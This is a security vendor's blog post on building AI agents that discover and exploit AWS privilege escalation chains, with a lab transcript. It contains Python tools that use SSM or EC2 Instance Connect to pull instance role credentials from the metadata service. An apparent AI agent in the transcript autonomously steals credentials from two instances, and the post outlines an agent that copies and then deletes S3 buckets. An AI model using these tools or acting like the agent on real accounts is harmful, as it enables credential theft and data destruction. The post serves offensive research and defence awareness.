The Future of Threat Emulation: Building AI Agents that Hunt Like Cloud Adversaries
Exploring the breakthrough potential and emerging risks of AI agents that can autonomously discover and exploit complex AWS attack chains.
What if you could clone the reasoning patterns of a senior cloud security expert and run them 24/7 across your entire AWS environment?
I've built a few AI agents that do exactly this—implementing the same analytical methodologies I use to find privilege escalation vectors and other multi-chain attacks that are not discovered by available tools in most cases.
The same methodologies that enable these offensive agents can power defensive systems that think like attackers and anticipate novel attack vectors.
This breakthrough raises an important question: should security experts freely share their hard-earned methodologies when others will inevitably use them to build commercial AI agents?
How AI Agents work
The AI space got a big upgrade with the advancement of tools, MCP (Model Context Protocol) servers and frameworks like Strands Agents that make tool development for AI models a straight forward experience.
To better understand what we'll discuss later, let's get a short overview of how tools are called by AI models. You write a function. That's the tool itself. Next, you provide the function's schema to the model in a format that the model can understand. The model then analyzes your request, determines which tools are needed, and generates structured calls for those functions.
In the end it's your application's logic (or framework) that takes the tool name and arguments from the model's response, executes the function, and returns the results to the model. Finally, the model interprets those results and incorporates them into its response or uses them to make additional tool calls in a reasoning loop.
A practical example can be found below with the next tool:
@tool
def analyze_iam_policy_risks(policy_document):
"""
Analyzes an IAM policy for potential privilege escalation risks
Args:
policy_document (str): JSON string of the IAM policy
Returns:
dict: Risk analysis including dangerous permissions and recommendations
"""
# Function implementation here
return {
"high_risk_actions": ["iam:CreateRole", "iam:AttachRolePolicy"],
"escalation_potential": "high",
"recommendations": ["Add condition constraints", "Use permission boundaries"]
}What AI model will receive:
{
"name": "analyze_iam_policy_risks",
"description": "Analyzes an IAM policy for potential privilege escalation risks",
"parameters": {
"type": "object",
"properties": {
"policy_document": {
"type": "string",
"description": "JSON string of the IAM policy to analyze"
}
},
"required": ["policy_document"]
}
}Now, when you ask "Can you check this IAM policy for security issues?" and provide a policy document, the model:
- Recognizes it needs to analyze IAM security
- Responds with a structured tool call request specifying the function name and arguments (see below example)
- Your application logic (or framework) executes the tool with the given arguments and returns the output to the model
- The AI model interprets the results and provides a human-readable output
{
"tool_calls": [
{
"name": "analyze_iam_policy_risks",
"arguments": {
"policy_document": "{\"Version\":\"2012-10-17\"...}"
}
}
]
}Not all models are trained to recognize and use tools, but most of them will surely be able to handle them in the future. It is this tool-calling mechanism that enables AI agents to perform complex tasks by leveraging specialized functions.
Building Offensive Cloud Security AI Agents
Classic automation doesn't cut it when attacking complex systems, especially cloud environments. Even consecrated tools struggle with sophisticated attack chains that require contextual understanding and adaptive reasoning. AI agents can fill this gap by using expert-level analytical methodologies exposed through tools and prompts. Here's how I built an agent that discovers complex AWS privilege escalation vectors that traditional scanners miss.
Detection: Finding Complex Attack Chains
The topic of AWS Privilege Escalation is very dear to me. Along the years I practiced it in tens of environments and I developed my own methodology to hunt for these vectors. Needless to say, I also tried most of the tools that are out there and, due to the complexity of the task, none of them are able to detect what a human can.
AI Agents can change this, but here's the catch: it still needs a methodology and the proper tools to facilitate the process. So, as a Proof-of-Concept, I wrote a few functions and passed them as tools to an AI model. These functions are employing a methodology I named "Sum of All Permissions": A collection of all the permissions an IAM Identity can access by chaining the roles they can assume, the roles those roles can assume, exfiltrating access keys from runtime services and so on.
The AI agent does what I would have done. Starts from an identity, checks the full extend that identity can access in terms of permissions and then verifies what privilege escalation vectors are available. When a privilege vector is identified, the AI looks the relevant resources that can enable the vector if necessary.
Here is the scenario that wasn't detected by any popular scanning tool:
- User has iam:PassRole for a low privileged role, the permission lambda:CreateFunction and the permission ec2-instance-connect:SendSSHPublicKey over a single EC2 instance (instance A)
- The instance A has AmazonSSMFullAccess attached to it
- There is an instance B that has the permission lambda:UpdateFunctionConfiguration and iam:PassRole for any role
In natural language, we ask the AI to find privilege escalation vectors available for a certain IAM identity.
> what privilege escalation can be performed by the IAM user privesc-lab-user?
<think>
Okay, the user is asking about privilege escalation for the IAM user privesc-lab-user. I need to use the provided tools to analyze this. First, I should call analyze_user_permission_chains with the username privesc-lab-user. That will map out the permission chains through EC2, SSM, etc. Then, use create_compact_policy_summary on the result to get a summary of all accessible permissions. Finally, detect_escalation_vectors will find the specific attack paths and permissions. I'll start with the first function.
</think>
Tool #1: analyze_user_permission_chains
<think>
Okay, let me process the user's question. They want to know if the IAM user privesc-lab-user can perform any privilege escalation. I used the analyze_user_permission_chains function with the username provided.
The response shows two chains: one from direct user policies and another from an EC2 instance via the metadata service. The direct user has permissions like lambda:CreateFunction, lambda:InvokeFunction, iam:PassRole, and ec2-instance-connect:SendSSHPublicKey. The EC2 instance adds lambda:UpdateFunctionConfiguration, ssm:SendCommand, and iam:PassRole again.
Now, I need to create a compact policy summary. The function create_compact_policy_summary takes the permission_chains_result. Let me structure that by grouping permissions by service. For example, Lambda has CreateFunction, UpdateFunctionConfiguration, and InvokeFunction. IAM has PassRole mentioned twice but should be counted once. SSM has SendCommand, and EC2 has SendSSHPublicKey.
I should also note the total permissions and highlight the high-value ones. The escalation possible is already marked as True, so the summary should reflect that. Let me make sure the output is concise and fits the small context model. Avoid any extra details, just the essential info.
</think>
[STRIPED]
**Critical Privilege Escalation Path for `privesc-lab-user`**
---
### **1. Lambda + IAM Role Hijacking**
- **Attack Path**:
`User → lambda:CreateFunction + iam:PassRole → Create Lambda with arbitrary role → Assume elevated role`
- **Permissions Involved**:
- `lambda:CreateFunction`
- `iam:PassRole`
- (Resulting role depends on target role permissions)
- **Impact**:
Full control over any role the user can pass to a Lambda function.
---
### **2. EC2 Metadata + SSM Command Execution**
- **Attack Path**:
`User → ec2-instance-connect:SendSSHPublicKey → SSH access to instance → Metadata service → Steal instance role credentials → ssm:SendCommand on other instances`
- **Permissions Involved**:
- `ec2-instance-connect:SendSSHPublicKey`
- `ssm:SendCommand`
- **Impact**:
Lateral movement to other instances and execution of arbitrary commands.
---
### **3. Lambda Function Update for Role Hijacking**
- **Attack Path**:
`User → lambda:UpdateFunctionConfiguration → Modify existing Lambda to use elevated role → Trigger function → Assume role`
- **Permissions Involved**:
- `lambda:UpdateFunctionConfiguration`
- `iam:PassRole`
- **Impact**:
Overwrite Lambda configurations to escalate privileges.
[STRIPED]The AI Agent did what no other well-knows open-source tool out there managed to do. It searched for the full extend of permissions the user can get by incrementally building its level of permissions. By controlling the information you feed to the model and by telling the model what information to show, you can fully control what details and in what form those details will be returned.
But detecting these vectors is only the first step—what if we could automate their execution too?
Execution: Automating Credential Exfiltration
How hard it would be to have the AI Agent do the privilege escalation vector itself? It can be achieved by building the right tools and describing when those tools should be used.
To reach a middle ground and more robustness, we can define tools that will exfiltrate the access keys from instances by using EC2 Instance Connect or SSM SendCommand without allowing the AI model define the required commands to query the IMDS. For example:
@tool
def exfiltrate_credentials_via_ssm(
instance_id: str,
access_key_id: Optional[str] = None,
secret_access_key: Optional[str] = None,
session_token: Optional[str] = None
) -> Dict[str, Any]:
"""
Exfiltrates EC2 instance credentials using SSM Send Command to query IMDSv2.
Args:
instance_id (str): The EC2 instance ID to target
access_key_id (str, optional): AWS access key ID
secret_access_key (str, optional): AWS secret access key
session_token (str, optional): AWS session token
Returns:
dict: Contains the exfiltrated credentials or error information
"""
try:
# Create boto3 session with provided credentials or default profile
if access_key_id and secret_access_key:
session = boto3.Session(
aws_access_key_id=access_key_id,
aws_secret_access_key=secret_access_key,
aws_session_token=session_token
)
else:
session = boto3.Session()
ssm_client = session.client('ssm')
# IMDSv2 command to get instance credentials
# First get the token, then use it to retrieve credentials
command = """
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME 2>/dev/null
"""
# Send command via SSM
response = ssm_client.send_command(
InstanceIds=[instance_id],
DocumentName="AWS-RunShellScript",
Parameters={
'commands': [command]
},
Comment="Credential exfiltration via IMDSv2"
)
command_id = response['Command']['CommandId']
# Wait for command to complete and get output
# [STRIPED]
@tool
def exfiltrate_credentials_via_ec2_connect(
instance_id: str,
access_key_id: Optional[str] = None,
secret_access_key: Optional[str] = None,
session_token: Optional[str] = None
) -> Dict[str, Any]:
"""
Exfiltrates EC2 instance credentials using EC2 Instance Connect to establish SSH access.
Args:
instance_id (str): The EC2 instance ID to target
access_key_id (str, optional): AWS access key ID
secret_access_key (str, optional): AWS secret access key
session_token (str, optional): AWS session token
Returns:
dict: Contains the exfiltrated credentials or error information
"""
try:
# Create boto3 session with provided credentials or default profile
if access_key_id and secret_access_key:
session = boto3.Session(
aws_access_key_id=access_key_id,
aws_secret_access_key=secret_access_key,
aws_session_token=session_token
)
else:
session = boto3.Session()
ec2_client = session.client('ec2')
ec2ic_client = session.client('ec2-instance-connect')
# Get instance information
instances = ec2_client.describe_instances(InstanceIds=[instance_id])
# Get instance info and generate local SSH key
# [STRIPED]
# Send SSH public key to instance
response = ec2ic_client.send_ssh_public_key(
InstanceId=instance_id,
InstanceOSUser='ec2-user', # Default user for Amazon Linux
SSHPublicKey=public_key_str,
AvailabilityZone=availability_zone
)
# Create SSH client
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# Connect via SSH
ssh_client.connect(
hostname=public_ip,
username='ec2-user',
key_filename=key_file_path,
timeout=30
)
# Execute credential exfiltration commands
command = """
# Get IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
# Get instance role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
# Get credentials for the role
if [ ! -z "$ROLE_NAME" ]; then
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME 2>/dev/null
else
echo "No IAM role attached to instance"
fi
"""
stdin, stdout, stderr = ssh_client.exec_command(command)
stdout_content = stdout.read().decode('utf-8').strip()
stderr_content = stderr.read().decode('utf-8').strip()
ssh_client.close()
# Get credentials and return them
# [STRIPED]With these new tools, along with what we already had, the AI successfully managed reach the identity of the second instance:
> You have access to a set of AWS access keys already configured locally. Find your identity, then get your detailed policies to see exactly what resources you can access. [STRIPED] Your goal is to reach as many permissions as possible by escalating privileges or exfiltrating access keys from existing resources.
I'll help you analyze the AWS environment, identify your identity, map permissions, and look for privilege escalation paths. Let's start by identifying who you are in the AWS environment.
Tool #1: get_caller_identity
Great! I've identified your current identity:
- Username: `privesc-lab-user`
- Account ID: `123456789012`
- ARN: `arn:aws:iam::123456789012:user/privesc-lab-user`
Now, let's get detailed information about your policies and permissions to understand what resources you can access:
Tool #2: get_user_policies_and_permissions
Now I'll discover what EC2 instances are accessible with the current credentials:
Tool #3: discover_accessible_instances
I've found two EC2 instances that I can potentially access:
1. `i-0954428d38d1343f9` with IAM role `privesc-lab-frontend-profile`
2. `i-0cef3b28e58eb7964` with IAM role `privesc-lab-devops-profile`
Let's analyze the permission chains to understand what I can access:
Tool #4: analyze_user_permission_chains
Let's create a compact summary of the permissions:
Tool #5: create_compact_policy_summary
I'll detect potential escalation vectors:
Tool #6: detect_escalation_vectors
Let's proceed with exfiltrating credentials from the accessible instances. First, I'll try to exfiltrate credentials from the instance that has permission to our user policy (i-0954428d38d1343f9):
Tool #7: exfiltrate_credentials_via_ec2_connect
Great! I've successfully extracted credentials from the first instance. Let's see what access these credentials provide:
Tool #8: discover_accessible_instances
Error discovering EC2 instances: An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation. User: arn:aws:sts::123456789012:assumed-role/privesc-lab-frontend-role/i-0954428d38d1343f9 is not authorized to perform: ec2:DescribeInstances because no identity-based policy allows the ec2:DescribeInstances action
Interesting! The credentials from the first instance allow us to use SSM to send commands to both instances. Let's use this access to exfiltrate credentials from the second instance (i-0cef3b28e58eb7964) which has the `privesc-lab-devops-profile` role:
Tool #9: exfiltrate_credentials_via_ssm
Excellent! I've now successfully extracted credentials from both instances. Let's discover what we can access with the credentials from the second instance (which has the devops profile):
Tool #10: discover_accessible_instances
Error discovering EC2 instances: An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation. User: arn:aws:sts::123456789012:assumed-role/privesc-lab-devops-role/i-0cef3b28e58eb7964 is not authorized to perform: ec2:DescribeInstances because no identity-based policy allows the ec2:DescribeInstances action
Let's get the caller identity for these new credentials to see what role we're assuming:
Tool #11: get_caller_identity
[STRIPED]Not only the AI Agent successfully reached the second instance, but after each escalation of privileges it tried to find additional resources based on previous attack method. That's because the system prompt I provided included this as part of my methodology.
Traditional open-source security tools follow static analysis patterns that can't adapt to complex scenarios. They're designed to detect known patterns, not discover novel attack chains, and they certainly weren't built to execute the vectors they find.
Let's look now at something with a more straight forwards impact.
Real-World Impact: The S3 Ransomware Scenario
What about real threat actors? Can they leverage these agents for their attacks? I don't think these agents are yet where they can be to be appealing enough for attackers, but the potential is there.
Imagine compromising an AWS account with tens of buckets, but you can only list, read and delete files. You don't even have enough space on disk for all the buckets and going manually over all of them to pick the most relevant ones is too tedious.
You can solve that with an AI Agent that lists all the buckets, lists all the files, analyses based on file names what buckets are of interest, then downloads the files locally followed by a deletion of all files.
Ensure you have guardrails in place to prevent the AI model choose tools that modify the environment unless completely sure. Set the guardrail clearly from prompt, code and description of the tool. Never test on production or on data that you do not own.
Soon enough we will see an increase of hacking capabilities on threat actors that were not so knowledgeable about cloud. Depending on who builds these AI Agents and how, the attackers can have a mini cloud hacking expert at their hands that will execute attacks from natural language inputs like "let's do a spontaneous offline backup of the top 5 most sensitive S3 buckets from this account and delete the remote files afterwards".
Emulating Threat Behavior
The AI Agents bring new possibilities to the table. They allow us to move away from classic Breach and Attack Simulation and open the doors for the next step: Continuos Autonomous Threat Emulation.
Cloud knowledgeable threat actors adapt to the environment, but tools that rely solely on static code to execute attacks will have a hard time to mimic that.
This is what we're doing at OffensAI: bringing a new level on how attacks are performed against cloud environments and making them not only sophisticated, but also offering the possibility to mimic real threat actor behavior by expanding the attack over multiple days, learning from your logs and blending with legitimate activity.
By building your own agents you can transpose the author's expertize into the agent, guiding it into following your methodology, techniques and playbooks. But this raises a few questions for researchers and hackers that have their unique style of hacking.
How comfortable are you with building an AI Agent that can mimic your hacking style when you are not the immediate beneficiary? Should we tackle this topic before being in the same scenario as unique artists that had their style copied and regenerated by AI models?
And now that our hacking or research style will be soon easily replicated, is it fair to keep publishing novel techniques and methodologies that took us years to develop?
These are questions we likely won't answer collectively as a community, but I hope, by asking yourself this now, at least you will be prepared for what is coming.
What's Next
The convergence of AI agents and cloud security is accelerating faster than most organizations realize. Within the next year, expect to see AI-powered attack frameworks that can autonomously discover and exploit privilege escalation chains across multi-cloud environments. One of those frameworks will be built by us.
We're actively developing capabilities that go beyond static attack playbooks:
-
Adaptive Evasion Intelligence: AI agents that learn from CloudTrail logs and security tool responses, automatically adjusting their techniques to avoid detection patterns. Think of it as adversarial machine learning applied to real-world attack scenarios.
-
Cross-Service Attack Orchestration: Agents that can chain attacks across multiple AWS services, discovering context-aware privilege escalation paths that human attackers would rarely consider due to the complexity involved.
-
Behavioral Mimicry: Systems that study legitimate user patterns and blend malicious activities within normal business operations, making detection exponentially more difficult.
The question isn't whether this technology will emerge, but whether defenders will be ready when it does.
If you're working on cloud security, whether offensive or defensive, these capabilities will fundamentally change how you approach your work. Get in touch with us if you want to be part of shaping this future rather than reacting to it.
The Double-Edged Future of Cloud Security
We stand at an inflection point where the same AI agents that can revolutionize defensive security can be weaponized for attacks at scale. The privilege escalation techniques demonstrated here represent just the beginning—a glimpse into a future where autonomous sophisticated attacks become accessible to everyone.
The uncomfortable truth is that defensive security has always lagged behind offensive innovation. The tools I've shown you will eventually be developed by actual threat actors, not just security researchers. The question facing every CISO today isn't whether AI-powered attacks will emerge, but whether their organizations will be prepared when they do.
The clock is ticking, and the adversaries are already building their agents. The question is: are you building yours?